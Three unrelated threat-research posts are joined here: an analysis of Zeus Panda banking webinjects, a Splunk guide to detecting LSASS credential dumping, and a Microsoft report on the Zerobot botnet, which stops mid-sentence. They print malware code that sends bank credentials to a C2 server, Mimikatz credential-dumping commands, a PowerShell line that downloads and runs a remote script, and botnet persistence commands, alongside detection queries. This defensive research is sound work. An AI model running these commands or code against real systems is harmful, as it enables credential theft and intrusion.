# Zeus Panda Webinjects: A Case Study February 3, 2017 Our mothership G DATA runs extensive automated sample processing infrastructure as part of providing up-to-date protection to their AV customers. At G DATA Advanced Analytics, we have integrated these processes within our own routines to maintain the fraud detection solutions we provide to our customers from the financial sector. We have been observing an increase in Zeus Panda infections recently. When we decrypted the config files from samples of Zeus Panda Banking Trojans that went through our processing this week, we decided to have a closer look at the current features. The low-level functionality of the Zeus Panda Banking Trojan is already known quite well, so we focus our analysis on the webinjects. These webinjects are used to manipulate the functionality of the target online banking websites on the client. The one we found here was pretty interesting. As usual, the JavaScript is protected by an obfuscation layer, which substitutes string and function names using the following mapping array: ```javascript var _0x2f90 = ["", "\x64\x6F\x6E\x65", "\x63\x61\x6C\x6C\x65\x65", "\x73\x63\x72\x69\x70\x74", "\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74", "\x74\x79\x70\x65", "\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74", "\x73\x72\x63", "\x3F\x74\x69\x6D\x65\x3D", "\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64", "\x68\x65\x61\x64", "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65", "\x76\x65\x72", "\x46\x46", "\x61\x64\x64\x45\x76\x65\x6E\x74\x4C\x69\x73\x74\x65\x6E\x65\x72", "\x44\x4F\x4D\x43\x6F\x6E\x74\x65\x6E\x74\x4C\x6F\x61\x64\x65\x64", "\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65", "\x63\x6F\x6D\x70\x6C\x65\x74\x65", "\x6D\x73\x69\x65\x20\x36", "\x69\x6E\x64\x65\x78\x4F\x66", "\x74\x6F\x4C\x6F\x77\x65\x72\x43\x61\x73\x65", "\x75\x73\x65\x72\x41\x67\x65\x6E\x74", "\x49\x45\x36", "\x6D\x73\x69\x65\x20\x37", "\x49\x45\x37", "\x6D\x73\x69\x65\x20\x38", "\x49\x45\x38", "\x6D\x73\x69\x65\x20\x39", "\x49\x45\x39", "\x6D\x73\x69\x65\x20\x31\x30", "\x49\x45\x31\x30", "\x66\x69\x72\x65\x66\x6F\x78", "\x4F\x54\x48\x45\x52", "\x5F\x62\x72\x6F\x77\x73\x2E\x63\x61\x70", "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64", "\x64\x69\x73\x70\x6C\x61\x79", "\x73\x74\x79\x6C\x65", "\x6E\x6F\x6E\x65", "\x68\x74\x6D\x6C", "\x70\x6F\x73\x69\x74\x69\x6F\x6E", "\x66\x69\x78\x65\x64", "\x74\x6F\x70", "\x30\x70\x78", "\x6C\x65\x66\x74", "\x77\x69\x64\x74\x68", "\x31\x30\x30\x25", "\x68\x65\x69\x67\x68\x74", "\x7A\x49\x6E\x64\x65\x78", "\x39\x39\x39\x39\x39\x39", "\x62\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64", "\x23\x46\x46\x46\x46\x46\x46"]; ``` After deobfuscating this script, the result looks like: ```javascript var vars = ["", "done", "callee", "script", "createElement", "type", "text/javascript", "src", "?time=", "appendChild", "head", "getElementsByTagName", "ver", "FF", "addEventListener", "DOMContentLoaded", "readyState", "complete", "msie 6", "indexOf", "toLowerCase", "userAgent", "IE6", "msie 7", "IE7", "msie 8", "IE8", "msie 9", "IE9", "msie 10", "IE10", "firefox", "OTHER", "_brows.cap", "getElementById", "display", "style", "none", "html", "position", "fixed", "top", "0px", "left", "width", "100%", "height", "zIndex", "999999", "background", "#FFFFFF"]; ``` Taking a closer look at the now revealed functionality, we can identify the following features: - Browser version check, to add a browser-specific event listener (e.g., for Firefox the DOMContentLoaded event is used). - Setting some trojan configuration variables like: - `botid`: Unique Identifier of the compromised system - `inject`: URL to load the next attack stage - Load and execute further target (bank) specific JavaScript code, as defined in the inject variable. As it turns out, the first webinject stage is a generic loader to get target-specific attack code from a web server. In this context, ‘target’ refers to banks and payment service providers. This is not a remarkable fact in itself, as current webinjects tend to load the final attack in multiple stages. But maybe this server also includes further Zeus Panda components. So let’s take a closer look. ## Target Specific Code and Examples After downloading the target-specific second stage of the webinject, we were surprised about the actual size of the file: 91.8 KB. A brief analysis showed a lot of functionality. Some of the functions are generic and work on every website. Others include target-specific code, like specific HTML attributes. For example, the webinject uses unique id attributes to identify concrete websites of the online banking target. We are still investigating a lot of the included functionality at the time of writing. For now, we want to give a brief overview of selected parts of the basic functionality. After loading the target-specific JavaScript, the init function is called. First, the function checks if it is on top of the page. If not, the showpage() function is called, searches for the identifier _brows.cap, and deletes this DOM element if present. Otherwise, the next check function are() is called, which searches for the strings “login”, “password”, and “button”. If none of these strings can be found, the get() function is called to check if the user is currently logged in. This is done by checking for the presence of the logout element, which is only available when the user is currently logged in. If not, the already described showpage() function is triggered to clean up. Otherwise, the status() function is used to set the status variable to the string “CP”. Afterwards, the collected data is exfiltrated via the send() function. If all target strings were found (“login”, “password”, and “button”), the next functions preventDefault() and stopPropagation() are called. This overwrites the default form action to collect the data the user enters into the form. Additionally, the key event of the enter button (key code 13) is intercepted so that the form data is captured regardless of the submit method. As this implementation is not working in Internet Explorer, the script checks for the presence of the cancelBubble event. If present, a specific Internet Explorer implementation is called, which provides the same functionality as the stopPropagation() function. As in the initial webinject, different code is available to support all major browsers. After collecting form input data, the function status() is called to set the branch variable. The branch variable defines which action is triggered. In our call flow example, the value is set to the string “SL” which triggers a visible overlay of the website, indicating to the user that there is a temporary problem with the site. The following examples show two different target variations: ## Exfiltration The next interesting part in the code is the exfiltration function used during this attack stage. The collected information is handed to a function called send(): ```javascript send: function () { var l = link.gate + '?botid=' + _tables.encode(_brows.botid) + '&hash=' + new Date() + '&bname=' + _tables.get('bank'); for (var i = 0; i < arguments.length; i++) { for (key in arguments[i]) { l += '&' + key + '=' + _tables.encode(arguments[i][key]); } } // ... further code ... } ``` This function simply sets all collected data as GET parameters and sends an HTTPS request to a PHP backend, defined in the variable link.gate. Depending on the target website, we could observe different parameters and small differences in the construction of the parameter values. The following list gives an overview of identified parameters. This list is not complete and some of the parameters are optional. All parameters are sent in plain text to the C2 backend. | Parameter Name | Value | |----------------|-------| | botid | Unique client identifier | | bname | Target identifier | | hash | Timestamp (new Date()) | | login1 | User name | | login2 | User password | | type | Module type (grabber, ats, intercepts) | | param1 | Start | | domain | Document location | | branch | Status to trigger different functionalities | We intend to provide further details in a follow-up post. However, now we need to talk about the backend. ## Admin Panel Details The webinject code naturally led us to C2 servers and a closer analysis led us to an admin panel on one of the servers we investigated. The admin panel displays the start screen where every infected machine is displayed in one row. For every entry, the following information is listed: 1. BotId: Unique identifier for the compromised system 2. The active module type 3. Job status of the entry 4. Login credentials (username/password) 5. Account status 6. Victim IP address 7. Timestamp of infection 8. Browser version 9. Target URL (bank) The top navigation bar lists some available filters like format settings, drop zones, and further configuration settings. The panel is used by the attacker to see new victim machines and available actions. By clicking on the entries, the attacker can view detailed information about the compromised user, such as the account balance of the victim, the amount available for transfer, and even the transaction limit. Furthermore, the attacker can attach notes to the specific victim to keep track of his fraudulent actions. ## Conclusion Banking Trojans are still one of the most valuable sources of income for criminals online. Given the fact that this kind of malware has been developed and optimized for many years, it’s not surprising that we can observe rather high code quality. With the admin panel, the attacker has a way to manage the compromised machines without the need to know technical infection details, making this kind of revenue stream accessible also to the technically rather illiterate. In the follow-up blog post, we will take a closer look into target-specific webinject scripts. ## Indicators of Compromise | Script Stage | IoC | Functionality | |--------------|-----|---------------| | 1st stage | SHA256: d8444c2c23e7469a518b303763edfe5fd38f9ffd11d42bfdba2663b9caf3de06 | Loader | | | _brows.botid | Loader | | | _brows.inject | | | 2nd stage | SHA256: a99e2d6ec2a1c5b5e59c544302aa61266bb0b7d0d76f4ebed17a3906f94c2794 | Exfiltration | | | \.php\?(&?(botid|hash|bname|login1|login2|type|param1|domain|branch)=[^&]*) {4,9}$ | Exfiltration | **Authors:** Manuel Körber-Bilgard and Karsten Tellmann
# You Bet Your Lsass: Hunting LSASS Access **By Splunk Threat Research Team** **April 07, 2022** One of the most commonly used techniques is to dump credentials after gaining initial access. Adversaries will use one of many ways, but most commonly Mimikatz is used. Whether it be with PowerShell Invoke-Mimikatz, Cobalt Strike’s Mimikatz implementation, or a custom version, all of these methods have a commonality: targeting LSASS. The Local Security Authority Subsystem Service (LSASS) is a process in Microsoft Windows operating systems that is responsible for enforcing the security policy on the system. It verifies users logging on to a Windows computer or server, handles password changes, and creates access tokens. With that, the Splunk Threat Research Team dug into how Mimikatz, and a few other tools found in Atomic Red Team, access credentials via LSASS memory, T1003.001. Part of this process for the Splunk Threat Research Team is to continuously update older analytics to ensure we are providing up-to-date coverage on the latest techniques and behaviors. To begin, we’ll look at our current analytics related to LSASS memory dumping. We will then simulate T1003.001, OS Credential Dumping: LSASS Memory, by using Mimikatz, Cobalt Strike, Atomic Red Team T1003.001, and Invoke-Mimikatz. Last, we will update our current analytics or create new ones. ## Current Content Review ### Access LSASS Memory for Dump Creation Our first analytic identifies the image load `dbgcore.dll` or `dbghelp.dll` and a TargetImage of `lsass.exe`. Dbgcore.dll or dbghelp.dll are two core Windows debug DLLs that have minidump functions which provide a way for applications to produce crashdump files that contain a useful subset of the entire process context. This analytic focuses on the CallTrace and identifies whether dbgcore.dll or dbghelp.dll are loaded to dump credentials. ```plaintext sysmon EventCode=10 TargetImage=*lsass.exe CallTrace=*dbgcore.dll* OR CallTrace=*dbghelp.dll* | stats count min(_time) as firstTime max(_time) as lastTime by Computer, TargetImage, TargetProcessId, SourceImage, SourceProcessId | rename Computer as dest | security_content_ctime(firstTime) | security_content_ctime(lastTime) ``` We found, as we’ll show in our simulation, that dbgcore.dll and dbghelp.dll are no longer utilized with the latest version of Mimikatz or Cobalt Strike. However, it still does capture the more basic utilities that access LSASS memory. ### Detect Credential Dumping through LSASS Access This analytic looks for GrantedAccess of `0x1010` or `0x1410` against `lsass.exe`. These are common access types and it's probably a good time to understand what they are and the common values. ```plaintext sysmon EventCode=10 TargetImage=*lsass.exe (GrantedAccess=0x1010 OR GrantedAccess=0x1410) | stats count min(_time) as firstTime max(_time) as lastTime by Computer, SourceImage, SourceProcessId, TargetImage, TargetProcessId, EventCode, GrantedAccess | rename Computer as dest | security_content_ctime(firstTime) | security_content_ctime(lastTime) ``` This query is limited to two GrantedAccess rights that are familiar to older versions of Mimikatz, but does not stand the test of time in capturing the latest rights request. GrantedAccess is the requested permissions by the SourceImage into the TargetImage. Microsoft details out the process-specific access rights here. The below list highlights the most common values. Note that these may be combined to create, for example, `0x1400` (PROCESS_QUERY_LIMITED_INFORMATION and PROCESS_QUERY_INFORMATION). | Value | Meaning | |---------------------------------------------------------|-------------------------------------------------------------------------| | PROCESS_ALL_ACCESS (0x1fffff) | All possible access rights for a process object. | | PROCESS_CREATE_PROCESS (0x0080) | Required to create a process. | | PROCESS_CREATE_THREAD (0x0002) | Required to create a thread. | | PROCESS_DUP_HANDLE (0x0040) | Required to duplicate a handle using DuplicateHandle. | | PROCESS_QUERY_INFORMATION (0x0400) | Required to retrieve certain information about a process. | | PROCESS_QUERY_LIMITED_INFORMATION (0x1000) | Required to retrieve certain information about a process. | | PROCESS_SET_INFORMATION (0x0200) | Required to set certain information about a process. | | PROCESS_SET_QUOTA (0x0100) | Required to set memory limits using SetProcessWorkingSetSize. | | PROCESS_SUSPEND_RESUME (0x0800) | Required to suspend or resume a process. | | PROCESS_TERMINATE (0x0001) | Required to terminate a process using TerminateProcess. | | PROCESS_VM_OPERATION (0x0008) | Required to perform an operation on the address space of a process. | | PROCESS_VM_READ (0x0010) | Required to read memory in a process using ReadProcessMemory. | | PROCESS_VM_WRITE (0x0020) | Required to write to memory in a process using WriteProcessMemory. | | SYNCHRONIZE (0x00100000L) | Required to wait for the process to terminate using the wait functions. | Now that we have a basic understanding of how these two current analytics work, let's capture data and begin to test them out further. ### Capture Data To get started with capturing process access event data with Sysmon, we have provided a simple config that identifies TargetImage of `lsass.exe`. For other EDR products, the name may be similar - Cross Process Open for Carbon Black, or CrowdStrike Falcon SuspiciousCredentialModuleLoad or LsassHandleFromUnsignedModule. ```xml <Sysmon schemaversion="4.81"> <HashAlgorithms>md5</HashAlgorithms> <EventFiltering> <ProcessCreate onmatch="include"/> <FileCreateTime onmatch="include"/> <NetworkConnect onmatch="include"/> <ProcessTerminate onmatch="include"/> <DriverLoad onmatch="include"/> <ImageLoad onmatch="include"/> <CreateRemoteThread onmatch="include"/> <RawAccessRead onmatch="include"/> <ProcessAccess onmatch="include"> <TargetImage condition="is">C:\Windows\system32\lsass.exe</TargetImage> </ProcessAccess> <FileCreate onmatch="include"/> <RegistryEvent onmatch="include"/> <FileCreateStreamHash onmatch="include"/> <PipeEvent onmatch="include"/> </EventFiltering> </Sysmon> ``` The Sysmon Modular project by Olaf Hartong has some filtering that may be useful to enhance the configuration. In our testing, we utilized an open Sysmon configuration and the latest version of Sysmon. ### Simulate To simulate LSASS Memory Access, we will start with Atomic Red Team and follow up with Mimikatz, Invoke-Mimikatz, and Cobalt Strike. #### Atomic Red Team For T1003.001, LSASS Memory access, we can run individual tests or all. In this instance, we will download all the prerequisites and then run them all. There are cases where the tests may not complete and may need to be fixed or run manually. To download Invoke-Atomicredteam and the Atomic Tests, run the following: ```powershell [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1' -UseBasicParsing); Install-AtomicRedTeam -getAtomics -force ``` #### Install Prerequisites Some Atomic tests have prerequisites and it is very simple to get those. This may include binaries or scripts needed to simulate the test. ```powershell Invoke-AtomicTest T1003.001 -GetPrereqs ``` Now we will invoke T1003.001. ```powershell Invoke-AtomicTest T1003.001 ``` Before we hop into Splunk, let's run the other two simulations. #### Invoke-Mimikatz For invoke-Mimikatz, we utilized Atomic Red Team T1059.001 test number 1. This uses the 2019 version of Mimikatz. Roberto Rodriguez called out the differences in his blog from 2017 as well, in that older versions request different permissions. Upon successful execution, it will invoke Mimikatz in memory and dump credentials. #### Mimikatz Download the latest Mimikatz from GitHub. Ensure AV and other products are turned off to avoid any issues. We will run the following variations: ```plaintext .\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit .\mimikatz.exe SEKURLSA::Krbtgt exit ``` Alright, that finishes our easy tests for Mimikatz. ### Mimikatz and Cobalt Strike Similarly, run the same commands within a session using Cobalt Strike. The behavior we will look for here is similar to most Cobalt Strike behavior we've identified in the past, a spawned process, default of `rundll32.exe`, with no command-line arguments, with a process access event targeting `LSASS.exe`. ### Notes on Testing Typically, our process is to simulate 1 test at a time and validate coverage. Iterate over each test and modify our query as needed. For brevity, the blog skips the thorough process and highlights a faster process. ## Continuous Improvement ### Access LSASS Memory for Dump Creation For our first analytic that focuses on CallTrace image load `dbgcore.dll` or `dbghelp.dll`, we found that over time Mimikatz moved away from these two DLLs. The main DLL used by Mimikatz is now `ntdll.dll`. Ntdll.dll is a native Windows binary that provides similar native API paths to perform credential dumping. For example, in the sekurlsa module, there are many ntdll exported APIs, but what stands out is `RtlCopyMemory`, which is used to execute the module related to credential dumping. After simulating the behavior we needed, we get some results: ```plaintext sysmon EventCode=10 TargetImage=*lsass.exe CallTrace=*dbgcore.dll* OR CallTrace=*dbghelp.dll* | stats count min(_time) as firstTime max(_time) as lastTime by Computer, TargetImage, TargetProcessId, SourceImage, SourceProcessId | rename Computer as dest | security_content_ctime(firstTime) | security_content_ctime(lastTime) ``` In our screenshot, we see some utilities that still use dbgcore.dll or dbghelp.dll when credential dumping occurs. However, we do not see Mimikatz.exe and a few other utilities using dbgcore.dll or dbghelp.dll. Based on CallTraces, we see a pattern of ntdll.dll being used by various credential dumping utilities. If we add ntdll.dll to our current query we get the following results: We now have a list of processes (source) targeting `lsass.exe`. Sometimes legitimate applications will request access to `lsass.exe` for credential access, say to authenticate with AzureCLI or a software deployment application. What will differentiate these? This will be environment dependent based on roles and access associates may have, based on process hierarchy, or GrantedAccess. As we will dig into next, filtering may be much easier once we combine GrantedAccess with CallTrace. Now we add GrantedAccess to our query to identify any patterns. ### Detect Credential Dumping through LSASS Access Now our second analytic is focused on GrantedAccess, which we explored earlier what the values are. Now that simulation is complete we can begin digging in. The base query looks like this with some simulated data: ```plaintext sysmon EventCode=10 TargetImage=*lsass.exe (GrantedAccess=0x1010 OR GrantedAccess=0x1410) | stats count min(_time) as firstTime max(_time) as lastTime by Computer, SourceImage, SourceProcessId, TargetImage, TargetProcessId, EventCode, GrantedAccess | rename Computer as dest | security_content_ctime(firstTime) | security_content_ctime(lastTime) ``` With all the simulation, it was easy to spot the patterns between CallTrace and GrantedAccess, so we created a table to showcase these values: | GrantedAccess | Process | CallTrace | |----------------------|----------------------------------|---------------------------------------------------------------------------| | 0x1010 | mimikatz.exe | C:\Windows\SYSTEM32\ntdll.dll+a6144|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Use | | 0x1010 | rundll32.exe | C:\Windows\SYSTEM32\ntdll.dll+a6144|C:\Windows\System32\KERNELBASE.dll+221bd|UNKN | | 0x1fffff | rundll32.exe | C:\Windows\SYSTEM32\ntdll.dll+a6144|C:\Windows\System32\KERNELBASE.dll+221bd|UNKN | | 0x1410 | rundll32.exe | C:\Windows\SYSTEM32\ntdll.dll+a6144|C:\Windows\System32\KERNELBASE.dll+221bd|C:\win | | 0x1410 | nanodump.x64.exe | C:\Windows\SYSTEM32\ntdll.dll+a5c84|C:\Users\ADMINI~1\AppData\Local\Temp\nanodump.x6 | | 0x1fffff | procdump.exe | C:\Windows\SYSTEM32\ntdll.dll+a6144|C:\Windows\SYSTEM32\ntdll.dll+6cd1a|C:\Windows\Sy | | 0x1fffff | xordump.exe | C:\Windows\SYSTEM32\ntdll.dll+a6144|C:\Windows\SYSTEM32\ntdll.dll+6cd1a|C:\Windows\Sy | | 0x1fffff | outflank-dumpert.exe | C:\AtomicRedTeam\atomics\T1003.001\bin\Outflank-Dumpert.exe+1d32|C:\AtomicRedTeam\ato | | 0x1410 | createdump.exe | C:\Windows\SYSTEM32\ntdll.dll+a6144|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Use | | 0x1fffff | createdump.exe | C:\Windows\SYSTEM32\ntdll.dll+a6144|C:\Windows\SYSTEM32\ntdll.dll+6cd1a|C:\Windows\Sy | | 0x1010 | Invoke-mimikatz | C:\Windows\SYSTEM32\ntdll.dll+a6144|C:\Windows\System32\KERNELBASE.dll+221bd|UNKN | | 0x1438 | mimikatz.exe | C:\Windows\SYSTEM32\ntdll.dll+a6144|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Use | | 0x1410 | PasswordHashesView.exe | C:\Windows\SYSTEM32\ntdll.dll+a6144|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Use | With all this testing, our updated Sysmon query combines the two analytics we set out to enhance by focusing on specific GrantedAccess rights and CallTrace DLLs. Will this catch everything? Probably not, but it will at least catch the majority of tools used and allow us to filter out known good in environments and focus on the rare. ```plaintext sysmon EventCode=10 TargetImage=*lsass.exe GrantedAccess IN ("0x01000", "0x1010", "0x1038", "0x40", "0x1400", "0x1fffff", "0x1410", "0x143a", "0x1438", "0x1000") CallTrace IN ("*dbgcore.dll*", "*dbghelp.dll*", "*ntdll.dll*") | stats count min(_time) as firstTime max(_time) as lastTime by Computer, TargetImage, GrantedAccess, SourceImage, SourceProcessId, SourceUser, TargetUser | rename Computer as dest | security_content_ctime(firstTime) | security_content_ctime(lastTime) ``` This will require some filtering as common system processes will access `lsass.exe` with GrantedAccess of `0x1400` and `0x1010`. For Mimikatz and the various items that come with it, whenever it does make contact with `LSASS.exe`, the results are mostly the same. As noted in our table of CallTrace and GrantedAccess, dependent upon what is being executed with the utility (Mimikatz for example), the access will be different. This was also noted by Roberto Rodriguez and Carlos Perez. Does this catch every variation of Mimikatz out there? Most likely not. However, it will be a great start to identify uncommon GrantedAccess rights to `Lsass.exe`. This may be expanded upon or converted to other utilities to assist with detecting suspicious LSASS access. ## Additional Observations During our simulations, we identified behaviors that may assist teams in identifying suspicious SourceUser accessing LSASS. Typically, we will see source `NT AUTHORITY\SYSTEM` and TargetUser `NT AUTHORITY\SYSTEM` for normal system process behavior. However, seeing source `ATTACKRANGE\administrator` and Target `NT AUTHORITY\SYSTEM` is suspicious. What if an adversary is already elevated? SourceUser will not be a user account, but `NT AUTHORITY\SYSTEM`. This may be a bit more difficult to detect, but it’s worth a hunt. With all this data, we hope you found this informative and understand a bit of our continuous improvement for our content. ## New Analytics ### Windows Hunting System Account Targeting Lsass The following hunting analytic identifies all processes requesting access into `Lsass.exe`. | Name | Technique | Tactic | Description | |-------------------------------|-----------|-------------|-------------------------------------------------------| | Windows Hunting System Account | T1003.001 | Credential | Identifies all processes requesting access into `Lsass.exe` | | Windows Non-System Account Targeting Lsass | T1003.001 | Credential | Identifies non-SYSTEM accounts requesting access to `lsass.exe`. | | Windows Possible Credential Dumping | T1003.001 | Credential | The following analytic is an enhanced version of two previous analytics that identifies common GrantedAccess permission requests and CallTrace DLLs in order to detect credential dumping. | The Splunk Threat Research Team is an active part of a customer’s overall defense strategy by enhancing Splunk security offerings with verified research and security content such as use cases, detection searches, and playbooks. We help security teams around the globe strengthen operations by providing tactical guidance and insights to detect, investigate, and respond against the latest threats. The Splunk Threat Research Team focuses on understanding how threats, actors, and vulnerabilities work, and the team replicates attacks which are stored as datasets in the Attack Data repository. Our goal is to provide security teams with research they can leverage in their day-to-day operations and to become the industry standard for SIEM detections. We are a team of industry-recognized experts who are encouraged to improve the security industry by sharing our work with the community via conference talks, open-sourcing projects, and writing white papers or blogs. You will also find us presenting our research at conferences such as Defcon, Blackhat, RSA, and many more.
# Microsoft Research Uncovers New Zerobot Capabilities **December 21, 2022** Botnet malware operations are a constantly evolving threat to devices and networks. Threat actors target Internet of Things (IoT) devices for recruitment into malicious operations as IoT devices’ configurations often leave them exposed, and the number of internet-connected devices continues to grow. Recent trends have shown that operators are redeploying malware for a variety of distributions and objectives, modifying existing botnets to scale operations and add as many devices as possible to their infrastructure. Zerobot, a Go-based botnet that spreads primarily through IoT and web application vulnerabilities, is an example of an evolving threat, with operators continuously adding new exploits and capabilities to the malware. The Microsoft Defender for IoT research team has been monitoring Zerobot (also called ZeroStresser by its operators) for months. Zerobot is offered as part of a malware-as-a-service scheme and has been updated several times since Microsoft started to track it. One domain with links to Zerobot was among several domains associated with DDoS-for-hire services seized by the FBI in December 2022. Microsoft has previously reported on the evolving threat ecosystem. The shift toward malware as a service in the cyber economy has industrialized attacks and made it easier for attackers to purchase and use malware, establish and maintain access to compromised networks, and utilize ready-made tools to perform their attacks. We have tracked advertisements for the Zerobot botnet on various social media networks in addition to other announcements regarding the sale and maintenance of the malware, as well as new capabilities in development. In this blog post, we present information about the latest version of the malware, Zerobot 1.1, including newly identified capabilities and further context to Fortinet’s recent analysis on the threat. Zerobot 1.1 increases its capabilities with the inclusion of new attack methods and new exploits for supported architectures, expanding the malware’s reach to different types of devices. In addition to these findings, we’re sharing new indicators of compromise (IOCs) and recommendations to help defenders protect devices and networks against this threat. ## What is Zerobot? Zerobot affects a variety of devices that include firewall devices, routers, and cameras, adding compromised devices to a distributed denial of service (DDoS) botnet. Using several modules, the malware can infect vulnerable devices built on diverse architectures and operating systems, find additional devices to infect, achieve persistence, and attack a range of protocols. Microsoft tracks this activity as DEV-1061. The most recent distribution of Zerobot includes additional capabilities, such as exploiting vulnerabilities in Apache and Apache Spark (CVE-2021-42013 and CVE-2022-33891 respectively), and new DDoS attack capabilities. Microsoft uses DEV-#### designations as a temporary name given to an unknown, emerging, or developing cluster of threat activity, allowing Microsoft to track it as a unique set of information until we can reach high confidence about the origin or identity of the actor behind the activity. Once it meets defined criteria, a DEV group is converted to a named actor. ## How Zerobot Gains and Maintains Device Access IoT devices are often internet-exposed, leaving unpatched and improperly secured devices vulnerable to exploitation by threat actors. Zerobot is capable of propagating through brute force attacks on vulnerable devices with insecure configurations that use default or weak credentials. The malware may attempt to gain device access by using a combination of eight common usernames and 130 passwords for IoT devices over SSH and telnet on ports 23 and 2323 to spread to devices. Microsoft researchers identified numerous SSH and telnet connection attempts on default ports 22 and 23, as well as attempts to open ports and connect to them by port-knocking on ports 80, 8080, 8888, and 2323. In addition to brute force attempts on devices, Zerobot exploits dozens of vulnerabilities, which malware operators add on a rolling basis to gain access and inject malicious payloads. Zerobot 1.1 includes several new vulnerabilities, such as: - **CVE-2017-17105**: Zivif PR115-204-P-RS - **CVE-2019-10655**: Grandstream - **CVE-2020-25223**: WebAdmin of Sophos SG UTM - **CVE-2021-42013**: Apache - **CVE-2022-31137**: Roxy-WI - **CVE-2022-33891**: Apache Spark - **ZSL-2022-5717**: MiniDVBLinux Since the release of Zerobot 1.1, the malware operators have removed CVE-2018-12613, a phpMyAdmin vulnerability that could allow threat actors to view or execute files. Microsoft researchers have also identified that previous reports have used the vulnerability ID “ZERO-32906” for CVE-2018-20057, “GPON” for CVE-2018-10561, and “DLINK” for CVE-2016-20017; and that CVE-2020-7209 was mislabeled as CVE-2017-17106 and CVE-2022-42013 was mislabeled as CVE-2021-42013. Microsoft researchers have also found new evidence that Zerobot propagates by compromising devices with known vulnerabilities that are not included in the malware binary, such as CVE-2022-30023, a command injection vulnerability in Tenda GPON AC1200 routers. Upon gaining device access, Zerobot injects a malicious payload, which may be a generic script called zero.sh that downloads and attempts to execute Zerobot, or a script that downloads the Zerobot binary of a specific architecture. The bash script that attempts to download different Zerobot binaries tries to identify the architecture by brute-force, attempting to download and execute binaries of various architectures until it succeeds, as IoT devices are based on many computer processing units (CPUs). Microsoft has observed scripts targeting various architectures including ARM64, MIPS, and x86_64. Depending on the operating system of the device, the malware has different persistence mechanisms. Persistence tactics are used by malware operators to obtain and maintain access to devices. While Zerobot is unable to spread to Windows machines, we have found several samples that can run on Windows. On Windows machines, the malware copies itself to the Startup folder with the file name FireWall.exe (older versions use my.exe). Microsoft Defender for Endpoint detects this malware and related malicious activity on both Windows and Linux devices. To achieve persistence on Linux-based devices, Zerobot uses a combination of desktop entry, daemon, and service methods: - **Desktop entry**: Zerobot copies itself to `$HOME/.config/ssh.service/sshf` then writes a desktop entry file called `sshf.desktop` to the same directory. Older Linux versions use `$HOME/.config/autostart` instead of `$HOME/.config/ssh.service`. - **Daemon**: Copies itself to `/usr/bin/sshf` and writes a configuration at `/etc/init/sshf.conf`. - **Service**: Copies itself to `/etc/sshf` and writes a service configuration at `/lib/system/system/sshf.service`, then enables the service (to make sure it starts at boot) with two commands: ``` systemctl enable sshf service enable sshf ``` All persistence mechanisms on older Linux versions use `my.bin` and `my.bin.desktop` instead of `sshf` and `sshf.desktop`. ## New Attack Capabilities In addition to the functions and attacks included in previous versions of the malware, Zerobot 1.1 has additional DDoS attack capabilities. These functions allow threat actors to target resources and make them inaccessible. Successful DDoS attacks may be used by threat actors to extort ransom payments, distract from other malicious activities, or disrupt operations. In almost every attack, the destination port is customizable, and threat actors who purchase the malware can modify the attack according to their target. The following are the previously known Zerobot capabilities: - **UDP_LEGIT**: Sends UDP packets without data. - **MC_PING**: Meant for DDoS on Minecraft servers. Sends a handshake and status request. - **TCP_HANDSHAKE**: Floods with TCP handshakes. - **TCP_SOCKET**: Continuously sends random payloads on an open TCP socket. Payload length is customizable. - **TLS_SOCKET**: Continuously sends random payloads on an open TLS socket. Payload length is customizable. - **HTTP_HANDLE**: Sends HTTP GET requests using a Golang standard library. - **HTTP_RAW**: Formats and sends HTTP GET requests. - **HTTP_BYPASS**: Sends HTTP GET requests with spoofed headers. - **HTTP_NULL**: HTTP headers are each one random byte (not necessarily ASCII). Previously undisclosed and new capabilities are the following: - **UDP_RAW**: Sends UDP packets where the payload is customizable. - **ICMP_FLOOD**: Supposed to be an ICMP flood, but the packet is built incorrectly. - **TCP_CUSTOM**: Sends TCP packets where the payload and flags are fully customizable. - **TCP_SYN**: Sends SYN packets. - **TCP_ACK**: Sends ACK packets. - **TCP_SYNACK**: Sends SYN-ACK packets. - **TCP_XMAS**: Christmas tree attack (all TCP flags are set). The reset cause field is “xmas”. ## How Zerobot Spreads After persistence is achieved, Zerobot scans for other internet-exposed devices to infect. The malware randomly generates a number between 0 and 255 and scans all IPs starting with this value. Using a function called `new_botnet_selfRepo_isHoneypot`, the malware tries to identify honeypot IP addresses, which are used by network decoys to attract cyberattacks and collect information on threats and attempts to access resources. This function includes 61 IP subnets, preventing scanning of these IPs. Microsoft researchers also identified a sample that can run on Windows based on a cross-platform (Linux, Windows, macOS) open-source remote administration tool (RAT) with various features such as managing processes, file operations, screenshotting, and running commands. This tool was found by investigating the command-and-control (C2) IPs used by the malware. The script, which is used to download this RAT, is called `impst.sh`. ## Defending Devices and Networks Against Zerobot The continuous evolution and rapid addition of new capabilities in the latest Zerobot version underscores the urgency of implementing comprehensive security measures. Microsoft recommends the following steps to protect devices and networks against the threat of Zerobot: - Use security solutions with cross-domain visibility and detection capabilities like Microsoft 365 Defender, which provides integrated defense across endpoints, identities, email, applications, and data. Microsoft Defender Antivirus and Microsoft Defender for Endpoint detect Zerobot malware variants and malicious behavior related to this threat. - Adopt a comprehensive IoT security solution such as Microsoft Defender for IoT to allow visibility and monitoring of all IoT and OT devices, threat detection and response, and integration with SIEM/SOAR and XDR platforms such as Microsoft Sentinel and Microsoft 365 Defender. - Ensure secure configurations for devices: Change the default password to a strong one, and block SSH from external access. - Maintain device health with updates: Make sure devices are up to date with the latest firmware and patches. - Use least privileges access: Use a secure virtual private network (VPN) service for remote access and restrict remote access to the device. - Harden endpoints with a comprehensive Windows security solution: - Manage the apps your employees can use through Windows Defender Application Control and for unmanaged solutions, enabling Smart 